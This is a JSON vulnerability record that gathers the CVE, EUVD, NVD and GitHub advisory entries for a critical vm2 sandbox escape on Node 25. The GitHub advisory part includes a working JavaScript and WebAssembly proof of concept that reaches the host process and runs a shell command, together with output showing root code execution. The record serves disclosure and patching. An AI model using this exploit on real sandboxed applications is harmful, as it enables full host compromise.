{"id":"EUVD-2026-26995","revision":null,"records":[{"revision":"ae88b87673284f379197a914c19378f6","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-26956","aliases":[],"title":"vm2: WASM Sandbox Escape (Node 25 only)","description":"vm2 is an open source vm/sandbox for Node.js. In version 3.10.4, vm2 is vulnerable to full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation. This issue has been patched in version 3.10.5.","state":0,"publishedAt":"2026-05-04T16:37:31.538+00:00","modifiedAt":"2026-07-15T01:14:46.375+00:00","affected":[{"ecosystem":"Vendor product","name":"vm2","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patriksimek\",\n                    \"product\": \"vm2\",\n                    \"versions\": [\n                        {\n                            \"version\": \"= 3.10.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-ffh4-j6h5-pg66","https://github.com/patriksimek/vm2/releases/tag/v3.10.5"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-26956","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-26956","identifiers":["CVE-2026-26956"]},"retained":false,"historicalAffected":[]},{"revision":"265829f2108c4fd38bbc18a398e8cea0","observedAt":"2026-11-07T06:28:54.725+00:00","statement":{"source":"euvd","id":"EUVD-2026-26995","aliases":["CVE-2026-26956"],"title":"vm2 is an open source vm/sandbox for Node.js. In version 3.10.4, vm2 is vulnerable to full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host coopera…","description":"vm2 is an open source vm/sandbox for Node.js. In version 3.10.4, vm2 is vulnerable to full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation. This issue has been patched in version 3.10.5.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-ffh4-j6h5-pg66","https://github.com/patriksimek/vm2/releases/tag/v3.10.5"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-26995","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 4, 2026, 4:37:31 PM","dateUpdated":"Jul 15, 2026, 1:14:46 AM"},"relatedAdvisories":[{"id":"WID-SEC-W-2026-1349","title":"vm2: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-22709","CVE-2026-24118","CVE-2026-24120","CVE-2026-24781","CVE-2026-26332","CVE-2026-26956"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-26995","identifiers":["EUVD-2026-26995","CVE-2026-26956"]},"retained":false,"historicalAffected":[]},{"revision":"5339ee33296d4edd83f6bfe8dde137ba","observedAt":"2026-10-27T07:23:26.954+00:00","statement":{"source":"nvd","id":"CVE-2026-26956","aliases":[],"title":"vm2 is an open source vm/sandbox for Node.js. In version 3.10.4, vm2 is vulnerable to full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host coopera…","description":"vm2 is an open source vm/sandbox for Node.js. In version 3.10.4, vm2 is vulnerable to full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation. This issue has been patched in version 3.10.5.","state":0,"publishedAt":"2026-05-04T17:16:22.553+00:00","modifiedAt":"2026-10-26T19:10:00.163+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"},{"system":"CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/releases/tag/v3.10.5","https://github.com/patriksimek/vm2/security/advisories/GHSA-ffh4-j6h5-pg66","https://access.redhat.com/security/cve/CVE-2026-26956","https://bugzilla.redhat.com/show_bug.cgi?id=2466548","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-26956.json"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-26956","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-693","CWE-653"],"productCriteria":["cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-05-04T17:16:22.553","lastModified":"2026-10-26T19:10:00.163"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-26956","identifiers":["CVE-2026-26956"]},"retained":false,"historicalAffected":[]},{"revision":"5fb39cff2e8a4fdc9222c2ee4a48488f","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-ffh4-j6h5-pg66","aliases":["CVE-2026-26956"],"title":"VM2 Has a WASM Sandbox Escape","description":"## Summary\n\nFull sandbox escape with arbitrary code execution. Attacker code inside `VM.run()` obtains host process object and runs host commands with zero host cooperation.\n\n## Details\n\n**Confirmed on:** vm2 3.10.4, Node.js v25.6.1 (x64 Linux)\n**Trigger:** Attacker-controlled code passed to `VM.run()`\n**Requires:** Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)\n\nvm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects `handleException()` into JS `catch` clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.\n\nWebAssembly's `try_table` instruction with a `JSTag` catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (`e.name = Symbol(); e.stack`), the WASM `try_table` catches it as an opaque `externref` and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (`hostError.constructor.constructor`) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.\n\n## PoC\n\n```js\nconst { VM } = require(\"vm2\");\nconsole.log(\"vm2:\", require(\"vm2/package.json\").version, \"| node:\", process.version);\n\nnew VM().run(`\n    const before = typeof process;\n\n    const err = new Error(\"x\");\n    err.name = Symbol();\n\n    const wasm = new Uint8Array([\n        0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,\n        0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,\n        0x02,0x19,0x02,\n        0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,\n        0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,\n        0x03,0x02,0x01,0x01,\n        0x07,0x0f,0x01,\n        0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,\n        0x0a,0x12,0x01,0x10,0x00,\n        0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b\n    ]);\n\n    const instance = new WebAssembly.Instance(\n        new WebAssembly.Module(wasm),\n        { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }\n    );\n\n    const hostError = instance.exports.catch_error();\n    const p = hostError.constructor.constructor(\"return process\")();\n    const id = p.mainModule.require(\"child_process\").execSync(\"id\").toString().trim();\n    const log = p.mainModule.require(\"console\").log;\n    log(\"\");\n    log(\"process before escape:\", before);\n    log(\"process after escape: \", typeof p);\n    log(\"host pid:             \", p.pid);\n    log(\"host node version:    \", p.version);\n    log(\"RCE:                  \", id);\n`);\n```\n\n```\n> node poc.js\nvm2: 3.10.4 | node: v25.6.1\n\nprocess before escape: undefined\nprocess after escape:  object\nhost pid:              217\nhost node version:     v25.6.1\nRCE:                   uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n```\n\n**Proof files**\n[poc.js](https://github.com/user-attachments/files/25285089/poc.js)","state":0,"publishedAt":"2026-05-05T16:44:16+00:00","modifiedAt":"2026-06-22T05:15:07.6544118+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.10.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-ffh4-j6h5-pg66","https://nvd.nist.gov/vuln/detail/CVE-2026-26956","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.10.5"],"sourceUrl":"https://github.com/advisories/GHSA-ffh4-j6h5-pg66","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-ffh4-j6h5-pg66","identifiers":["GHSA-ffh4-j6h5-pg66","CVE-2026-26956"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T16:07:52.6079466+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T16:07:52.6079466+00:00","lastSuccessAt":"2026-11-07T16:07:52.8396759+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.8396778+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-c173d89a3f1a0bdb31cd68e866be332a5016302f586ede89a35ec193ac99504a","complete":true,"records":420933,"lastAttemptAt":"2026-11-07T16:07:52.127477+00:00","lastSuccessAt":"2026-11-07T16:07:52.0557652+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:52.127477+00:00","snapshotPublishedAt":"2026-11-07T15:22:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-bee3dfbd77fe4043986590b0e0b76259","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T16:18:44.6437051+00:00","lastSuccessAt":"2026-11-07T16:18:44.639+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:18:44.639+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T16:07:52.6079466+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T16:07:52.6079466+00:00","lastSuccessAt":"2026-11-07T16:07:58.5710341+00:00","error":null,"lastVerifiedAt":"2026-11-07T16:07:58.5710358+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. 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